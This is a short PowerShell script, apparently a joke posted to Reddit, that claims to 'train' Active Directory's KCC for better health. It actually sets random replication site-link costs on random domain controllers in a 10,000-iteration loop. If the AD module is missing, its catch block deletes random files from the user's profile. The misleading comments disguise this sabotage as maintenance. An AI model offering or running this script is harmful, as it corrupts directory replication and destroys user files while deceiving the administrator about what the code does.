#First, ensure that the proper module is loaded
 try{Import-module ActiveDirectory -erroractionStop}
 catch{
  write-host "Why did you not prepare? Teaching lesson" gci $env:userprofile | % { if((get-random -max 99999) % 42 -eq 0){del $_.fullname -force -confirm:$true } }
 }
#You may need to update this variable depending on how healthy you would like your KCC to be
$KCCHealthMeter = 10000
#Now we need to get some info about the forest

$DCArray = (Get-ADForest).domains | % {(Get-ADDomain).ReplicaDirectoryServers}
$linkArray = Get-ADReplicationSiteLink -filter *
#Finally, we just need to train the KCC for a bit
for($i=0;$i -lt $kccHealthMeter;$i++){
 foreach($dc in $dcArray){
   foreach($lnk in $linkArray){
      $thisDC = $dcArray[(get-random -max $dcArray.count)]
      $thisCost = Get-Random -min 0 -max $kccHealthMeter
      $thisLink = $linkArray[(get-random -max $linkArray.count)]
      Set-ADReplicationSiteLink -identity $thisLink -Cost $thisCost -server $thisDC
    }
 } sleep -seconds 60 #sleep for one minute to allow KCC to study the problem }

# i hate reddit formatting for code :/